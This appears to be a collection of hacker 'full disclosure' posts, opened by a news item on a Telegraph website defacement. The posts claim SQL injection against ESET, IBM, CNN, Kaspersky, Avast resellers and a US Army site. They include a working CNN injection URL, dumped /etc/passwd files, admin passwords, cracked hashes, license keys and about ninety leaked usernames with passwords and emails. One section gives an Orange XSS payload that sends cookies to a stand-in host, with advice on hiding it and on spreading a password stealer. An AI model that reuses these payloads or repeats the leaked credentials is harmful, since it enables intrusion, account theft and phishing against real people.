Daily Telegraph websites hacked

Telegraph site hacked by Romanians
The ‘Romanian National Security’ logo on the Telegraph’s hacked site

Part of the Daily Telegraph‘s website has been hacked, apparently by people in Romania who were aggrieved at its identification of “gypsies” and “Romanians”.

Its “Short Breaks” and Wine And Dine sections were both hacked, with the Short Breaks site still up at 12.55pm today, with a picture of a Romanian flag claiming to be for the “Romanian National Security”, some comments in Romanian and the remark in English at the bottom that “Guess what, gypsies aren’t romanians, morons.” It also links to a Russian site which plays an MP3 called The Lonely Shepherd.

Sunbelt Software, which first noticed the hack, said that it had alerted the Telegraph when it noticed the hack.

The method used to hack into the site is not known. Chris Boyd, a researcher at Sunbelt, said that a translation of the text from the page says that the hackers are “sick of seeing garbage like this … calling us Romanians ‘gypsies’.” It also attacks Britain for “broadcasting shitty TV programs like Top Gear”.

But Boyd said that the group is apparently unknown even among Romanian hackers – suggesting that it may be one person with a grievance against the Telegraph.

In March 2009 the Telegraph’s system was also hacked, exposing the email addresses of registered users on part of its site. That hack also seems to have been done by a Romanian hacker – suggesting that the site has become a target.

A later posting in May on the Hackersblog site suggested that there was a weakness on the Telegraph site that allowed it to be hacked repeatedly.

ESET NOD32 Taiwan Full Disclosure

#NOD32 Taiwan@ TinKode - Romania

About ESET:

ESET is an IT security company headquartered in Bratislava, Slovakia that was founded in 1992 by the merger of two private companies. The company is privately held and has branch offices in San Diego, California; Wexford, Ireland; London, United Kingdom; Buenos Aires, Argentina; Prague, Czech Republic and Kraków, Poland.

Vulnerable website: www.eset.com.tw to MySQL Injection.

Main Informations:

  • Version : 5.0.45
  • Database: nod32twnew
  • Datadir : /var/lib/mysql/
  • User    : root@localhost

Databases:

  • information_schema
  • mysql
  • nod32twnew

Tables from main database:

  • article
  • category
  • enterprise_apply
  • estore_product
  • estore_product_20100106
  • estore_product_category
  • estore_product_category_20100106
  • estore_product_copy
  • faq_category
  • faq_category_detail
  • game3
  • manager
  • nodtwflash1
  • register
  • regkeyreplace
  • trial30
  • updates

We have permission to access mysql.user accounts:

MySQL.user account:

  • root : 4e3401b911c2ca0b

Accounts from manager table:

  • admin    : ^NOD*@(TW)P*$%
  • editor   : ^@NODTW@32!$
  • nod32@tw : $P#^NOD@
  • soman    : P!@#SO@NODTW

The accounts are in plain-text… great!

Now some keys from “regkeyreplace“:

  • J102-grq25tzvs:J112-j9gqmgqed
  • J102-hexnvsv8c:J112-7sraae78y
  • J102-hmgw425hv:J112-4x9aeh3hv
  • J102-nbh4756dv:J112-838b6evk6
  • J102-qcd67aymf:J112-73fx6g8kp
  • J102-qg7zmmkjt:J112-apawrmph4
  • J102-r4hc5tzy6:J112-wk6xhhay9
  • J102-sppc32fvc:J112-jkx97dkew
  • J102-wpyxhgvks:J112-5ghmjd9b5

~Verry simple!

Other webservers of ESET NOD32 hacked: NOD32 Hong Kong & NOD32 Romania

~Thanks, TinKode

ESET NOD32 Hong Kong Hacked

#NOD32 Hong Kong@ VMw4r3 & TinKode

Screenshot:

#cat /etc/passwd

bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
v2admin:x:500:500::/home/v2admin:/bin/bash
nod32:x:501:501::/var/www/html:/bin/bash
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
distcache:x:94:94:Distcache:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
uploadfile:x:501:501::/var/www/html/UpFile:/bin/bash

NOD32 URL: http://www.eset.hk/templates_c/
Zone-h URL: http://zone-h.org/mirror/id/10409367

Simple but powerfull!
* We have not changed anything
Thanks!

IBM Full Disclosure SQL Injection

#TinKode & skpx & begood

About IBM:

International Business Machines (NYSE: IBM), abbreviated IBM, is a multinational computer, technology and IT consulting corporation headquartered in Armonk, North Castle, New York, United States. The company is one of the few information technology companies with a continuous history dating back to the 19th century. IBM manufactures and sells computer hardware and software (with a focus on the latter), and offers infrastructure services, hosting services, and consulting services in areas ranging from mainframe computers to nanotechnology.
IBM has been well known through most of its recent history as the world's largest computer company and systems integrator. With over 407,000 employees worldwide, IBM is the largest and most profitable information technology and services employer in the world according to the Forbes 2000 list with sales of greater than 100 billion US dollars. IBM holds more patents than any other U.S. based technology company and has eight research laboratories worldwide. The company has scientists, engineers, consultants, and sales professionals in over 200 countries.

Vulnerable website:www.researcher.ibm.com

Version: 5.0.67
User: root@localhost
Database: researcher_development
Datadir: /Applications/xampp/xamppfiles/var/mysql/

All databases:

information_schema
bluebase
cdcol
mysql
researcher_development
test

Tables from main database “researcher_development“:

group_types
groups
locations
navbar_entries
publication_authors
publications
redirects
research_areas
researcher_group_entries
researcher_navbar_entries
researchers

Tables from “bluebase” database:

activity
auth_group
auth_group_permissions
auth_message
auth_permission
auth_user
auth_user_groups
auth_user_user_permissions
bluecomments_bluecomment
bluecomments_bluekarmascore
bluecomments_bluemoderatordeletion
bluecomments_blueuserflag
comments_comment
comments_freecomment
comments_karmascore
comments_moderatordeletion
comments_userflag
django_admin_log
django_content_type
django_session
django_site
projects_appacademy08
projects_application
projects_application_members
projects_application_moderators
projects_application_restrict
projects_appspeaker
projects_changelog
projects_document
projects_notespubdb
projects_patent
projects_patent_authors
projects_person
projects_pic
projects_pic_chairs
projects_project
projects_project_application
projects_project_contacts
projects_project_docs
projects_project_linemanagers
projects_project_members
projects_project_pics
projects_project_reviewers
projects_project_tags
projects_publication
projects_publication_authors
projects_pubstat
projects_restriction
projects_restriction_access_list
projects_tag
projects_useractivity
tag
tagged_item
votes

Accounts from “auth_user” table:

er2008 : sha1$9b957$e6294a9dbf3f94c4e1ebbd010d2a3562d3f29a15 | hash cracked: review
haixun : sha1$b1367$728086dd648468598b8d070b82f16136b011be1d | hash cracked: lapid

The account from “mysql.user“:

root : *F9F9C3D7DD04044668ABBFA629CE289E02F7A918 | hash cracked: godiva12

Here we can see the “/etc/passwd“:

# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode. At other times this information is provided by
# Open Directory.
#
# This file will not be consulted for authentication unless the BSD local node
# is enabled via /Applications/Utilities/Directory Utility.app
#
# See the DirectoryService(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false
_postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false
_mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false
_pcastagent:*:55:55:Podcast Producer Agent:/var/pcast/agent:/usr/bin/false
_pcastserver:*:56:56:Podcast Producer Server:/var/pcast/server:/usr/bin/false
_serialnumberd:*:58:58:Serial Number Daemon:/var/empty:/usr/bin/false
_devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false
_sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false
_www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false
_eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false
_cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false
_svn:*:73:73:SVN Server:/var/empty:/usr/bin/false
_mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false
_cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false
_mailman:*:78:78:Mailman List Server:/var/empty:/usr/bin/false
_appserver:*:79:79:Application Server:/var/empty:/usr/bin/false
_clamav:*:82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false
_amavisd:*:83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false
_jabber:*:84:84:Jabber XMPP Server:/var/empty:/usr/bin/false
_xgridcontroller:*:85:85:Xgrid Controller:/var/xgrid/controller:/usr/bin/false
_xgridagent:*:86:86:Xgrid Agent:/var/xgrid/agent:/usr/bin/false
_appowner:*:87:87:Application Owner:/var/empty:/usr/bin/false
_windowserver:*:88:88:WindowServer:/var/empty:/usr/bin/false
_spotlight:*:89:89:Spotlight:/var/empty:/usr/bin/false
_tokend:*:91:91:Token Daemon:/var/empty:/usr/bin/false
_securityagent:*:92:92:SecurityAgent:/var/empty:/usr/bin/false
_calendar:*:93:93:Calendar:/var/empty:/usr/bin/false
_teamsserver:*:94:94:TeamsServer:/var/teamsserver:/usr/bin/false
_update_sharing:*:95:-2:Update Sharing:/var/empty:/usr/bin/false
_installer:*:96:-2:Installer:/var/empty:/usr/bin/false
_atsserver:*:97:97:ATS Server:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false

That it’s all! 🙂
@TinKode

Avast,Avira,Nero Full Disclosure Accounts Exposed


                       _                  _             _   _
    /\                | |       /\       (_)           | \ | |
   /  \__   ____ _ ___| |_     /  \__   ___ _ __ __ _  |  \| | ___ _ __ ___
  / /\ \ \ / / _` / __| __|   / /\ \ \ / / | '__/ _` | | . ` |/ _ \ '__/ _ \
 / ____ \ V / (_| \__ \ |_ _ / ____ \ V /| | | | (_| |_| |\  |  __/ | | (_) |
/_/    \_\_/ \__,_|___/\__( )_/    \_\_/ |_|_|  \__,_( )_| \_|\___|_|  \___/
                          |/                         |/
                                     #TinKode & Jackhax0r @ Full Disclosure

Informations:

Company Miam-Veri d.o.o is a representative of avast! products for the Republic of Croatia.
Miam-Veri d.o.o. is reseller for Avast! Antivirus, GFI Software, Adobe and Nero VLP.

Avira Antivirus
Avast! – Computer virus, worm and Trojan protection
GFI – Fax server, Exchange and network software
Adobe – Print, design and publishing software
Nero VLP – All-In-One Digital Media Solutions

Vulnerable links:

Avast: http://www.avast.software.hr/detalji.asp?ID=9
GFI: http://gfi.software.hr/detalji.asp?ID=7
Nero: http://nero.software.hr/detalji.asp?ID=67
Avira: http://avira.software.hr/detalji.asp?ID=6

Testing:

and 1=1– (True)

and 1=2– (False – redirect)

Main Informations:

[*]Version = Microsoft SQL Server 2005 – 9.00.4053.00 (Intel X86) May 26 2009 14:24:20 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

[*]Current User = moja_dionica_com_usr

[*]Current Database = analiza

[*]Server = Microsoft-IIS/6.0

Screen:

All Databases (46):

analiza
master
tempdb
model
msdb
ASPNETDB
dnn_zupa
GalaTest
hram-zdravlja-dnn
codeit
tiashop
radio_ivanec_hr_dnn
gipsmont-cosic
drvodjelac_hr_dnn
hps_hr_dnn
moto_gume_com_vs
kridom2
kridomhr
EMOS_ZG
Nekretnine
nnmkor
oglasnik
emitri_hr_emitri
24sata2
novi-informatorProduction
rideatrain
mdosobnidnevnik
CY_2008
CYRacuni
testMISO3
croatia_rab_net_katalog
dracomerx_hr_CompanyWeb
mojkompjuter_com_mojkompjuter
lglas
motoklub_cms
POSLOVNIPROSTOR
vs-baterije
rituals
FRIGOTEHNIKA
knjiga
shop_manitabo_com_vs
bednja_hr_baza
9A4DK_com_dnn
TicketTool
split_itportal_com_CompanyWeb
vs-marjan-tisak

Tables from main database “analiza“:

DJELATNOSTI
FINTAB
Komentar
KomentarPoslovanja
KontrolaNaloga
KontrolaNalogaPojedinac
KontrolaNalogaTemp
Limiti
LOG
OBRASCI
OBVEZNIK
OPCI1
OPCI2
OPERATERI
POGRESKE
Pokazatelji
PonudeHyperion2
PonudeH
TA
TAB_ZAG
TABBC101
TABBC102
TABBC103
TABDE101
TABDE102
TABDE103
TABLICE
ZAGLAV
TFI-POD
vVrijednosnica
vVrijednosnicaTFI
AvastAdmin
AvastTecaj
AvastTempNar
AvastKategorije
AvastNarproizvod
AvastNarudzbe
AvastNaslovna
AvastProgrami
KontniPlan
Racuni
RacuniDet
Ponude
PonudeDet
AviraKategorije
AviraPopis
AvastPopis
AvastProizvodi
AviraProizvodi
AvastIsplata
NeroKategorije
NeroProizvodi
AvastKorisnici
Kupci
AvastKupci

Columns from table “AvastAdmin“:

Username: a
Password: a

OMG! WTF IS THAT? O_o

Accounts from “AvastKorisnici“:
Username : Password : Email

gusjenica–tina.3–avast@software.hr
InfoPlanet–1697382–info@infoplanet.hr
EksaBit–1910159–eksa-bit@ri.t-com.hr
Algor–888958–brkaric@gmail.com
AeroRacunala–2272814–kontakt@aero-racunala.hr
diskont24–280844–info@diskont24.com
Node–nodemarko1–damir@node.hr
Najkomp–92143857–info@najkomp.hr
Ultimus–ivica1–servis@ultimus.hr; shop@ultimu
Amisa–1162454–amisa@amisa.hr
Vobis–2101432–info@vobis.hr
SignOn.IT–2105179–partner.avast@signon.hr
Knjigice–1790544–fran.baca@knjigice.com
chloris–strebor18–info@chloris-informatika.hr
Olicomp–1019775–olicomp@optinet.hr
Instar–525995–instar@instar-informatika.hr
MagazinRS–2153564–magazinrs@magazinrs.hr
AkroStudio–1252593–kreso@cio.hr
Emilija–Drazenovic–edrazenovic@gmail.com
acejvanovic–3323329–alen@besoft.hr
mprahin–8932246–mprahin@gmail.com
imaric–9777219–1990ivan.maric@gmail.com
tspinjaca–2402749–tspinjac@gmail.com
optima–optima123–optima@optima-zadar.hr
hturcin–Redskadrila45–hturcin@hotmail.com
acqmagnum–1921258–danko@adm.hr
mpasicko–7755359–mpasicko@gmail.com
hridzal–facelessone–faithfry@gmail.com
ajovanovic–Ferdoj69–sasa.jovanovic@inet.hr
prut–poseidon–prut@email.com
dsajcic–9599879–dsajcic@gmail.com
mpecatnik–pixma988–marko.pecatnik@gmail.com
ddusak–AmmonJerro3200–dominik.dusak@gmail.com
vstemberga–9802827–valter.stemberga2@gmail.com
szubak–9141999–slavica.zubak@hotmail.com
hhumski–kristinka–hrvoje.humski@gmail.com
acikes–123456–antonio@software.hr
Studio–2308970–info@studio-slatina.hr
dhlaj–5190011–damir.hlaj@ka.t-com.hr
dzivkovic–9211778–frediienator@gmail.com
bpodnar–pero54–bojan.podnar@gmail.com
ikolar–8211127–igorkolar25@gmail.com
zmatkovic–816801–zlajamaxi@gmail.com
dsvarc–8055513–grimir69@net.hr
npavic–646041–npavic_82@yahoo.com
abukvic–5146538–albukvic@gmail.com
dlistes–5481628–dlistes@gmail.com
szizic–2247676–stzizic@gmail.com
skoprivnjak–mimififi–samuel.koprivnjak@gmail.com
mfarkas–9586680–marin.farkas@gmail.com
tparcina–kW34fhZ7jo2–tomislav.parcina@gmail.com
vklen–8606052–vklen@net.hr
dlonjak–9289713–dlonjak@ffos.hr
mdopsaj–5198045–osjecko2@gmail.com
msertic–5HkPtBdm–miro.sertic@email.t-com.hr
amiloloza–z666999n–milolozaantonio@yahoo.com
jgalic–323178–jogalic@gmail.com
rmlinaric–6031650–robimlinar@gmail.com
jcrnicki–7r4xd474–josip.crnicki@gmail.com
antisa–1794388–antisa1@optinet.hr
baleksic–5132080–braneweb@gmail.com
AGRI–02137089–ninovukic@gmail.com
idrusko–e1e1e1–e.one@post.t-com.hr
fjadrijev–3779308–fran.jadrijev@hotmail.com
bmilovanovic–9631026–houseboki@gmail.com
tsombolac–753663–som@somware.hr
sbotic–passv00rd–info@studio-bonet.com
hmucnjak–2311961–skydiver.extreme@gmail.com
nsalaj–raqIUXCq–nik238@net.hr
tsulentic–c@blugy12–odiriuss@gmail.com
mdjakovic–1121514–mario44@net.hr
marinav–Sunce4–marina.velat@gmail.com
nvlacic–4090888–nikolavlacic@gmail.com
vvivoda–1164503–eomersblood@gmail.com
dpaliska–2610190–doris.fiume@gmail.com
vtomas–jennifer–vjeran555@yahoo.com
vdumbovic–829179–dumbovic@gmail.com
dhudoletnjak–8869.dc–shogo.cro@gmail.com
vrain–4565899–vanja.rain@hi.t-com.hr
zagraming–3810585–mladen.basic@email.t-com.hr
ENC.IT–laki123–lahor.enc@sk.htnet.hr
mbarbaric–9282682–mate.barbaric@gmail.com
mmestrovic–1024432–mestrovic.ma@gmail.com
zhrvoic–1883070–Z.HRVOIC@vip.hr
BinoGrupa–92718523–binogrupa@bino.hr
pixma–baj29omo–info@pixma-itshop.com
vjandrasincec–6010571–vekkica@hotmail.com
gpercinic–riz123–goran.nxn@gmail.com
ctolj–1907091–castoos@gmail.com
brkcomp–3959449–brkcomp@brkcomp.hr
ivalentic–2929934–ivanvalentic81@gmail.com
icajkovac–kanepain–ivan.cajkovac@gmail.com
jbinder–jb0212989–binder.jo@gmail.com

[LOL]
So, all official reprezentative websites of Avast, Avira, Nero, GFI created by Miam-Veri D.O.O are vulnerable!
Great!

~TinKode
~Never forgot the power of silence! 🙂

CNN vulnerable to SQL Injection

CNN

Vulnerable to Oracle Injection
#TinKode & skpx

CNN.com is among the world's leaders in online news and information delivery. Staffed 24 hours, seven days a week by a dedicated staff in CNN's world headquarters in Atlanta, Georgia, and in bureaus worldwide, CNN.com relies heavily on CNN's global team of almost 4,000 news professionals. CNN.com features the latest multimedia technologies, from live video streaming to audio packages to searchable archives of news features and background information. The site is updated continuously throughout the day.

Website vulnerable: cgi.money.cnn.com

Link:

http://cgi.money.cnn.com/tools/fortune/compare_2009.jsp?id=11439)/**/and/**/1=2/**/union/**/all/**/select/**/1,2,chr(94)||banner||ch r(94),4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/(select/**/rownum/**/r,banner/**/from/**/(select/**/rownum/**/r,banner/**/from/**/v$version/**/where/** /rownum1-1/**/order/**/by/**/1)t/**/where/**/1=1/**/)--&view=b

Informations:

Version : Oracle9i Enterprise Edition Release 9.2.0.4.0 - Production

Main Database : MONEYP1.TURNER.COM

User : TIME_USR

Owner : SYS

Columns from “Time_Owner.F500_2009“:

[1] RANK
[2] COMPANY_ID
[3] NAME
[4] REVENUE
[5] REVENUE_GROWTH
[6] PROFIT
[7] PROFIT_GROWTH
[8] PROF_PCT_REVENUE
[9] PROF_PCT_ASSETS
[10] PROF_PCT_EQUITY
[11] EPS_10YR_GROWTH
[12] TRI_10YR
[13] TRI
[14] EMPLOYEES
[15] EMPLOYEE_GROWTH

# Thanks, and have a nice day!
# TinKode

Orange Vulnerable to XSS and phishing

                       ____                               _    _ _  __
                      / __ \                             | |  | | |/ /
                     | |  | |_ __ __ _ _ __   __ _  ___  | |  | | ' /
                     | |  | | '__/ _` | '_ \ / _` |/ _ \ | |  | |  <
                     | |__| | | | (_| | | | | (_| |  __/ | |__| | . \
                      \____/|_|  \__,_|_| |_|\__, |\___|  \____/|_|\_\
                                              __/ |
                                             |___/
                                            # TinKode & La Magra@ Romania

XSS – [Cross-Site Scripting]
Informations:
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which enable malicious attackers to inject client-side script into web pages viewed by other users. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy…

More here: [ XSS ]

I just found a XSS vulnerability in website.orange.co.uk website.
Through this vulnerability, an attacker could inject HTML or JavaScript code which may lead to cookie stealing.

Proof of Concept:

Link:

http://website.orange.co.uk/index.php?module=reminder&submode=sendpw&l=en_UK_orange_uk&email="><iframe height="0" width="0" frameborder="0" src=javascript:void(document.location="http://steal-site.com/cookie.php?cookie="+document.cookie+"&iframe")></iframe>

c0de:

"><iframe height="0" width="0" frameborder="0" src=javascript:void(document.location="http://steal-site.com/cookie.php?cookie="+document.cookie+"&iframe")></iframe>

We can encode the malicous code in base64, hex, etc in order to hide our intentions! :)

Another example for this vulnerability is phishing! :D

As everyone knows, there are programs called stealer which can steal all saved passwords from your browser.

I picked a executable program (winamp in our case) for a demonstration.

Link to download winamp: http://download.nullsoft.com/winamp/client/winamp5572_lite_en-us.exe

The malicious code:

"><iframe height="0" width="0" frameborder="0" src="http://download.nullsoft.com/winamp/client/winamp5572_lite_en-us.exe"></iframe>

Encoded in hex will become:

http://website.orange.co.uk/index.php?module=reminder&submode=sendpw&l=en_UK_orange_uk&email=%22%3e%3c%69%66%72%61%6d%65%20%68%65%69%67%68%74%3d%22%30%22%20%77%69%64%74%68%3d%22%30%22%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%22%30%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%64%6f%77%6e%6c%6f%61%64%2e%6e%75%6c%6c%73%6f%66%74%2e%63%6f%6d%2f%77%69%6e%61%6d%70%2f%63%6c%69%65%6e%74%2f%77%69%6e%61%6d%70%35%35%37%32%5f%6c%69%74%65%5f%65%6e%2d%75%73%2e%65%78%65%22%3e%3c%2f%69%66%72%61%6d%65%3e

Replace the winamp link with another one(eg: a stealer) and you can trick a lot of people.

Note: This isn’t the only vulnerability which I found in : orange.co.uk
#Tinkode

Kaspersky Thailand Full Access

 _  __                             _                                _
| |/ /                            | |              /\              (_)
| ' / __ _ ___ _ __   ___ _ __ ___| | ___   _     /  \   __ _  __ _ _ _ __
|  < / _` / __| '_ \ / _ \ '__/ __| |/ / | | |   / /\ \ / _` |/ _` | | '_ \
| . \ (_| \__ \ |_) |  __/ |  \__ \   <| |_| |  / ____ \ (_| | (_| | | | | |
|_|\_\__,_|___/ .__/ \___|_|  |___/_|\_\\__, | /_/    \_\__, |\__,_|_|_| |_|
              | |                        __/ |           __/ |
              |_|                       |___/           |___/

                     #Kaspersky Thailand full access@c0de.breaker

Ok… As you might remember, some time ago, I gained access into Kaspersky Portugal.
Now I found another vulnerable parameter in Kaspersky Thailand.
Because the mod_security was ON, it was hard for me to make the injection, and in order to extract tables,colums,etc you must have a vast knowledge about how to filter some things.

Testing:

and 1=1– (False)

and 1=2– (True)

Main Informations:

#Version: 5.1.30
#User:thaikasp_forum@localhost
#Principal Database:thaikasp_dealer
#Datadir:/var/lib/mysql/

All databases:

#information_schema
#thaikasp_dealer
#thaikasp_forum

Tables from thaikasp_dealer:

#bkkplace
#newheader
#tb_dealer
#tb_part

Tables from thaikasp_forum:

#forum
#tbmember

Columns from tbmember

#ID
#Username
#Password

And now all accounts from tbmember. I can’t understand why passwords aren’t encrypted!

#tomsound:b_v***
#anukool:kas*****
#kaspersky2009:w***
#gm8kaspe*****

Admin Control Panel:

Yeah, finish.
Bye, TinKode

Kaspersky Portugal Full Disclosure

                     _   __                              _
                    | | / /                             | |
                    | |/ /  __ _ ___ _ __   ___ _ __ ___| | ___   _
                    |    \ / _` / __| '_ \ / _ \ '__/ __| |/ / | | |
                    | |\  \ (_| \__ \ |_) |  __/ |  \__ \   <| |_| |
                    \_| \_/\__,_|___/ .__/ \___|_|  |___/_|\_\\__, |
                                    | |                        __/ |
                                    |_|                       |___/

                                                                                  #owned by c0de.breaker


In one evening, when i searched a antivirus, I entered on the official kaspersky website of Portugal from mistake.
Link: http://www.kaspersky.com.pt
Kaspersky, from what i know has been hacked by “unu” with MySQLi.
So I said to try to see if I could find a vulnerability!
After 5 minutes of searching, I found something interesting, namely::

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" at character 306 in /home1/_sites/wwwkasperskycompt/kaspersky/PHP/IfDBRevendedoresKaspersky.phpclass on line 121
ERRO na execucao da query getRevendedors
ERROR: syntax error at or near "\" at character 306

pg_exec() : That means as he use a PostgreSQL database.
First time, i checked to see if is injectable, and if i can extract something.
The answer:

———————————————————–
True: and 1=1–
True

False: and 1=2–
False
———————————————————–

So I can make PostGreSQL Injection!

What I extracted?
I wasn’t concerned about the content, I only “got” the names of databases, tables and columns.

Versiunea


#Principal Database: dbdoc
#User: www-data
#Version: PostgreSQL 8.1.11 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)

#Other Databases

1 postgres
2 template1
3 template0
4 monitoring
5 estkaspersky
6 horde
7 licence
8 hardwareipbrick
9 acessosclientes
10 licencefmota
11 temp
12 dbdoc
13 webcalendar
14 ipbox
15 adcav
16 jpleitao2
17 funambol
18 gaia
19 cinel2
20 makeupdate
21 tempdefaultconfig

#The tables from dbdoc database (number:458)

1 table_base_idxml73
2 table_ass_idxml73_idtab1025
3 liga_tipoent_categoria
4 liga_subcat_categoria
5 classif_entidades
6 ignora
7 categoria_entidade
8 site
9 subcategoria_entidade
10 tabela_gestao_ipcontactos
11 ipcontactos_lang_files
12 utilizador_externo
13 webcal_sincro
14 pga_queries
15 pga_forms
16 pga_scripts
17 pga_reports
18 pga_schema
19 pga_layout
20 avaliar
21 estadorec1
22 liga_resultado_tarefa
23 webcal_user
24 utilizadores_operacao
25 webcal_entry
26 webcal_entry_repeats
27 webcal_entry_repeats_not
28 webcal_entry_user
29 webcal_entry_ext_user
30 webcal_user_pref
31 webcal_user_layers
32 exhumationprice
33 webcal_site_extras
34 webcal_reminder_log
35 webcal_group
36 table_base_idxml13
37 webcal_group_user
38 webcal_view
39 webcal_view_user
40 gravetype
41 webcal_entry_log
42 webcal_categories
43 webcal_config
44 cemeterysection
45 solucao
46 ipdoclanguages
47 ipdoctranslation
48 ipdocsentences
49 ipdocpages
50 ipdocpagetranslation
51 table_base_idxml15
52 table_ass_idxml15_idtab51
53 lockcodigos
54 assunto
55 table_base_idxml16
56 subassunto
57 table_ass_idxml16_idtab68
58 entidades2
59 coordenadas_estado
60 dados_infantarios
61 coordenadas_estadopr
62 codigo_accaopr
63 table_base_idxml17
64 raca
65 table_base_idxml18
66 table_base_idxml19
67 table_base_idxml20
68 table_base_idxml14
69 distrito
70 concelho
...
439 accaopr
440 table_base_idxml79
441 estadopr
442 funcaoproc
443 funcaopr
444 table_ass_idxml79_idtab1183
445 table_ass_idxml79_idtab1190
446 table_ass_idxml79_idtab1191
447 table_ass_idxml79_idtab1192
448 table_ass_idxml79_idtab1193
449 table_ass_idxml77_idtab1194
450 table_base_idxml78
451 table_ass_idxml80_idtab1216
452 table_base_idxml81
453 table_ass_idxml81_idtab1228
454 table_base_idxml70
455 table_base_idxml82
456 documento
457 revisaodoc
458 table_ass_idxml82_idtab1257

#Me: Ma gandesc, daca tot este una din cele mai mari compani din lume care asigura protectia poate a multor milioane de utilizatori prin produsele sale,
de ce nu au grija de propria securitatea in primul rand? Acest lucru poate fi si din cauza firmelor care creaza aceste website-uri intr-un timp foarte scurt pe sume exagerat de mari…
Cam atat.

~Where is a will, there is a way

US Army full disclosure again

                                /\                                    (_) |
                               /  \   _ __ _ __ ___  _   _   _ __ ___  _| |
                              / /\ \ | '__| '_ ` _ \| | | | | '_ ` _ \| | |
                             / ____ \| |  | | | | | | |_| |_| | | | | | | |
                            /_/    \_\_|  |_| |_| |_|\__, (_)_| |_| |_|_|_|
                                                      __/ |
                                                     |___/

The United States Army is the branch of the United States Military responsible for land-based military operations. It is the largest and oldest established branch of the U.S. military and is one of seven uniformed services. The modern Army has its roots in the Continental Army which was formed on 14 June 1775, before the establishment of the United States, to meet the demands of the American Revolutionary War. Congress created the United States Army on 14 June 1784 after the end of the war to replace the disbanded Continental Army. The Army considers itself to be descended from the Continental Army and thus dates its inception from the origins of that force.

Vulnerable link: http://onestop.army.mil

This website is vulnerable to MSSQL Injection. With this vulnerability i can see / extract all things from databases.

Testing:
and 1=1– (True)

and 1=2– (False)

Ok, in this picture we can see all main informations about webserver.

Main information:

#Version: Microsoft SQL Server 2000 - 8.00.2282 (Intel X86) Dec 30 2008 02:22:41 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2
#User: Dynatouch
#Database: AHOS
#Host Name: AHSGSVDAHQIT130

All databases:

[0] AHOS
[1] master
[2] tempdb
[3] model
[4] msdb
[5] AHOS
[6] AHIT_WEB
[7] AHOS_HQD
[8] AHOS_WL
[9] HEAT
[10] REF_DB
[11] ReportDB
[12] USAREUR_TEST
[13] YARDI_CONV
[14] HOMES_IFS
[15] HOMES_CDB_USAREUR
[16] HOMES_WHSE
[17] HUACFSDIS102148
[18] PINEA4CASTLE
[19] HOMES_CDB
[20] GFOQ_Development
[21] ARTI02036THS003
[22] BISM5843235S301
[23] CDAR0413DPWS001
[24] CHAB000639BS002
[25] FRSA1050WHDS212
[26] GGDE0032284S005
[27] GRAF0244HOUS001
[28] HDCS3980WHDS204
[29] Spotlight
[30] LEDW0003SWFS002
[31] LEDW0252GSWS003
[32] NHQA4106WDAS101
[33] PANS2913GSTS001
[34] PION0011414S601
[35] SEMI0022DPWS002
[36] SULL0255WMAS001
[37] VCAM0107HOUS001
[38] WARN7114279S003
[39] WETZ8876222S210
[40] WIAF1023221S001
[41] LEDW0252GSWS001
[42] BUCHAHOMES01
[43] CASEA4KORHOU068
[44] GREE305APDPW001
